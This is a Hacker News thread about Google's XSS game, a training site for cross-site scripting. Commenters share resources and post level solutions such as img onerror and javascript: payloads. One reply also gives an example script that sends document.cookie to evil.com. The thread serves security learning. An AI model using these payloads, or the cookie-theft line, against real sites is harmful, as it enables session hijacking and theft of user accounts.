
Google's XSS game - morphics
https://xss-game.appspot.com/
======
bsamuels
For anyone who has never done XSS attacks before, you may find these learning
resources helpful.

[https://www.owasp.org/index.php/Cross-
site_Scripting_(XSS)](https://www.owasp.org/index.php/Cross-
site_Scripting_\(XSS\))

[https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_She...](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)

[https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_P...](https://www.owasp.org/index.php/XSS_\(Cross_Site_Scripting\)_Prevention_Cheat_Sheet)

------
skoob
For those interested in XSS challenges, there's also
[http://escape.alf.nu](http://escape.alf.nu) , which I think has a slightly
better UI.

~~~
0xFACE1E55
I hate the spoilers in the Facebook comments though.

------
laurencei
I asked this question once on SO and never really got a "great" answer I was
after.

If my site will only ever allow users to see their own submitted data, and
never ever data another user has submitted (i.e. no general 'posts' etc) -
then is there actually a XSS risk on my site?

So I'm curious if an attacker can gain anything by looking at their own XSS
attack?

[http://stackoverflow.com/q/10265624/1317935](http://stackoverflow.com/q/10265624/1317935)

~~~
blahpro
Yes. If you had an XSS vulnerability via a GET querystring parameter, an
attacker could encourage a victim to visit a URL which exploited the
vulnerability (or, say, iframed the URL in another page which they got the
victim to visit), then the attacker could, say steal the user's auth cookie
with something like <script>(new Image).src =
"[http://evil.com/stolencookie="](http://evil.com/stolencookie=") \+
document.cookie;</script>.

~~~
jerf
POSTs can be forged too, if another vulnerable site permits Javascript on
their domain accidentally (among other ways, but that's the big one).

~~~
qu4z-2
Isn't that CSRF, though?

~~~
smsm42
CSRF is what allows you to post. XSS is what happens after it is posted.

------
prezjordan
That was a lot of fun, appropriate amount of difficulty for noobs like me.

The best part is the hints, too many of these sites have points where I go
"Oh, well I don't know how to do this, and I don't see how I could figured it
out, so I guess I'll just leave"

------
tieTYT
I probably should be too embarrassed to ask this question, but why can't I use
script tags in the second test? I don't understand what's preventing me from
doing that.

~~~
nickmccann
The second question disallows the script tag.

~~~
tieTYT
_How_ is it doing that?

~~~
wasd
Using <script> ... as a payload won't work because the browser won't execute
scripts added after the page has loaded.

~~~
goblin89
The browser smartly won't execute scripts added _through innerHTML_ , but it
probably should be noted that jquery's html() method will[0]. There's always a
way to shoot yourself in the foot. :)

[0] [http://api.jquery.com/html/](http://api.jquery.com/html/)

------
muraiki
Google has another game for learning webapp exploits and defenses here:
[https://google-gruyere.appspot.com/](https://google-gruyere.appspot.com/)

I tried it a while back and enjoyed it quite a bit. I forget if I completely
finished it or not, but it was educational.

------
michaelx386
Does anyone know how to submit corrections to Google? I've not been able to
find a way after noticing a few mistakes on Google's XSS help page. There are
a few examples using an image tag but the tags haven't been closed properly:

[https://www.google.com/about/appsecurity/learning/xss/index....](https://www.google.com/about/appsecurity/learning/xss/index.html#toggleDemo1-link)

e.g. "Now, enter <img src='' onerror="alert(document.cookie);" and hit 'Share
status!'."

~~~
xss-game-bot
Hey, thanks - it's a valid concern, though an important point (which isn't
really well explained in the document) is that this payload will work even if
the tag _isn 't_ properly terminated.

One of the reasons for using such broken payloads is to demonstrate that
browsers will happily parse broken markup and that approaches such as removing
"<.*>" won't be effective as a technique to prevent XSS (because such a regexp
won't match an unterminated tag like the example you pointed out).

Still, it could at least use a better explanation. The documentation fairy
will take a look!

~~~
michaelx386
Thank you for this explanation. It makes sense to me now as before I would
have expected the "<.*>" approach to make it safe. It's a shame browsers are
so resilient :)

------
al2o3cr
"There will be cake at the end of the test."

That's what the computer said LAST time. But I'm still alive... ;)

~~~
mdhgriffiths
Ahhh, that's what that was!
[http://snag.gy/43JI3.jpg](http://snag.gy/43JI3.jpg)

~~~
TazeTSchnitzel
Spoiler alert!

------
honoredb
Fun! Level 6 failed to load any widgets, evil or otherwise, in Chrome; I had
to switch to Firefox and redo the whole test. For my external script I used
[http://pastebin.com/raw.php?i=15S5qZs0](http://pastebin.com/raw.php?i=15S5qZs0),
although I don't think the lack of a .js extension there was the problem.

~~~
geoffroy
got the same problem, it only works with a https address !

~~~
ff_
Nope. Works even if you use an address without http, but beginning with only
"//"

~~~
ufo
In that example "//" is just another way to say "[https://"](https://"),
though.

------
jeffreyrogers
This is really interesting. Does anyone have any recommendations for similar
sites/challenges? I'm aware of this:
[https://microcorruption.com/](https://microcorruption.com/), which is
somewhat related.

------
neil_s
Level 4 has a bug. Entering a string in the text box for the timer solves the
problem, but putting that string directly as the get parameter in the URL
doesn't. Anyone know how to report this?

~~~
xss-game-bot
What payload are you using on that level? Keep in mind that ";" is often
treated as a parameter separator in URLs, similarly to &. If you put it into
the mock URL bar it will terminate the value of your parameter (see also
[http://en.wikipedia.org/wiki/Query_string#Web_forms](http://en.wikipedia.org/wiki/Query_string#Web_forms))

PS. Consider it reported, thanks!

~~~
jdewald
Escaping the ';' works on that one

~~~
path411
Also using the ',' operator works.

------
johnadam
How do you solve lv4?

~~~
lazyjones
' after the timer value, then proceed to construct a JS expression that will
be evaluated before the call to setTimer ... Hint: '99'+moo() will evaluate
nicely. Don't forgot the "open" the ' again.

~~~
namanaggarwal
still not able to get :-(

~~~
sourthyme
Use the text input instead of the url.

~~~
erid
You could use %2b instead of + on the URL and it'll work, or just * as
mentioned above.

------
aendruk
Their background image is successfully reproducing the nauseating effects of
this monitor test [1]. I can't look at it for long without experiencing
physical discomfort.

Perhaps disabling it is part of the game.

[1]: [http://www.lagom.nl/lcd-test/inversion.php](http://www.lagom.nl/lcd-
test/inversion.php)

------
penguindev
Is there more than way to attack level 3?

SPOILER: I used the " html += "<img src='/static/level3/cloud" \+ num + ".jpg'
/>"; " untrusted injection, but after reading the hints it seems to be
suggesting window.location and the postmessage to parent stuff.

------
jevin
This is great! XSS is one of the hardest things to get right when it comes to
security. I'll be sure to complete all the challenges, because I'm working on
a product that could use some good HTML sanitizing.

------
lazyjones
Nice one; I gave up trying to solve the last with the http-only
google.com/jsapi and hosted my own with https, but then it occurred to me that
it's even more trivial than I thought!

Checking our stuff for this mistake now ...

~~~
gibybo
I used "//" to get around the http regex (but this requires using an https
host as you mentioned), is there another way to get around the regex?

~~~
jonaspf
Use upper-case characters

------
samuelb
[https://www.google.com/about/appsecurity/learning/xss/index....](https://www.google.com/about/appsecurity/learning/xss/index.html)

------
tmp4_20140529
Level 4 Spoiler:

[https://xss-game.appspot.com/level4/frame?timer=3')%3balert(...](https://xss-
game.appspot.com/level4/frame?timer=3'\)%3balert\(')

------
reidrac
Looks like using Google's jsapi callback to pop-up the alert doesn't work any
more, so that tip in the last one is misleading.

(unless I was doing it wrong)

------
mavfly
Finally made ​​it all levels ;). [http://rawgit.com/](http://rawgit.com/) was
helpful

------
instakill
What is lvl2's answer? I'm trying:

<img src='invalid_link.png' onerror="this.src='alert(1);'">

~~~
stevekemp
My solution was:

    
    
         <img src="foo" onMouseOver="alert(33);"
    

Interesting to see so many people used onError instead.

~~~
Toadsoup
One of the hints says you can use onError()

I'm sure that's where most people are getting it from.

------
nero_luci
How to solve level 5? :((( I tried a lot with onClick and different js scripts
on querry parameter... nothin' :(((

------
riffraff
I completed the game, but I honestly don't know: why wouldn't inject a script
tag directly in level 2 work?

~~~
gabemart
The hint for level 3 reads:

    
    
      As before, using <script> ... as a payload won't work
      because the browser won't execute scripts added after the 
      page has loaded.
    

How do you solve level 3?

~~~
jannes
For me it actually worked to use a script tag, but I'm confused about why, as
the hint says it shouldn't.

This is the URL I used:

    
    
        https://xss-game.appspot.com/level3/frame#'><script>alert('bla')</script>
    

But the hint is hinting at something more like this, I think:

    
    
        https://xss-game.appspot.com/level3/frame#' onerror="alert('bla')">
    

Can somebody explain why the first one worked? Are they wrong when they say
that the browser won't execute scripts added after the page has loaded?

~~~
aetch
Why do we need the single quote after the # sign? I don't understand why and
would like to know.

~~~
HackyGeeky
As "sbd" said, the "html +=" statement is using the "num" parameter as it is.

The real problem is the substring(1) function which passes the "num", instead
of making sure the length is 1 it is allowing everything.

------
personjerry
This should really direct to the http instead of https version to avoid the
mixed content error for problem 6.

~~~
WickyNilliams
the google jsapi has SSL set up, so mixed content shouldn't be an issue. See:
[https://www.google.com/jsapi?callback=alert](https://www.google.com/jsapi?callback=alert)

------
heri0n
on level 5 i tried to modify the url, but my quotes are automatically encoded,
also tried encoding it using %22.. but didn't work.. I'm using chrome on osx,
could it be a browser thing, i managed to get it to work by manually modifying
the html using the developer tools :p

~~~
heroku
last hint helped me

------
myfonj
Wee, cake is not a lie this time. Nice!

------
k-mcgrady
I love this. I know very little about xss and web app security so this is a
fun way to learn.

------
htd
Loved it. Though got struck in Lvl4 and 6. But lvl4 was really a smart
question.

------
hhaidar
* MORE SPOILERS! *

#6 looks like: [https://xss-
game.appspot.com/level6/frame#//rawgit.com/hhaid...](https://xss-
game.appspot.com/level6/frame#//rawgit.com/hhaidar/google-xss-game-
test/master/test.js)

~~~
mpetrov
Also just putting a space in front of [https://](https://) works, the script
tag handles the leading space just fine.

~~~
dvirsky
Even simpler - Https://

------
0x4139
can someone share theirs hosted script that echos and alert? :D

~~~
sebslomski
data:text/javascript,alert('foo')

~~~
LeonM
Thank you sir! I learned something new today =)

------
codezero
So, does the cake have a recruiting message encoded in it? :)

------
fhandley
So did anyone else cheat their way to the cake level?

------
thomasahle
I'm only trying to solve it for the cake.

------
SimeVidas
Ah, I'm supposed to toggle the "Target code" box :) Ugh, I used DevTools to
look at the <iframe> code for the first 3 steps.

------
geoffroy
I enjoyed the game ! thanks

------
mavfly
Someone solved the level 6?

~~~
srg0
Hint: there are other URL schemes.

~~~
xxs
you can use ftp or just prepend a space before http

------
octatone2
That was super fun!

------
gpvos
Finally, cake.

------
finalight
haha took me a while to pass level 2

------
shtolcers
learned some new things thanks

------
greyfox
can someone help with level 5?

~~~
devty
[http://stackoverflow.com/questions/7347786/html-anchor-
tag-w...](http://stackoverflow.com/questions/7347786/html-anchor-tag-with-
javascript-onclick-event) This link might help (or spoil your fun)

------
hhaidar
* SPOILERS *

For #5 you can just do javascript:alert()

------
sebastianavina
.

~~~
teddybear06
Nice ! Thanks for sharing :-)

------
tristanperry
I had fun with this; definitely a good mini game to learn more about XSS,
although it's a pitty that you can cheat-pass a level simply by appending
'/record' to the end of the URL. (Granted it's just a game)

I.e. [https://xss-game.appspot.com/level1/record](https://xss-
game.appspot.com/level1/record) allows you to go straight onto level 2.

Anywhoo, HackThisSite is similar & worth checking out (albeit it covers a
wider range of web app security issues)

~~~
davinal12
Hello there.

How can you solve level 2 ? I used next sentence, but, it don't work.

<img src=x onerror=prompt(/xD/)>

Any suggest ?

------
fataliss
Well the first levels are trivial, right click "inspect element" and adding a
onClick="alert();" on a random button and tadaa. I'm not sure you can qualify
this as XSS attack though, can you?

~~~
ChrisSlx
You did it wrong.

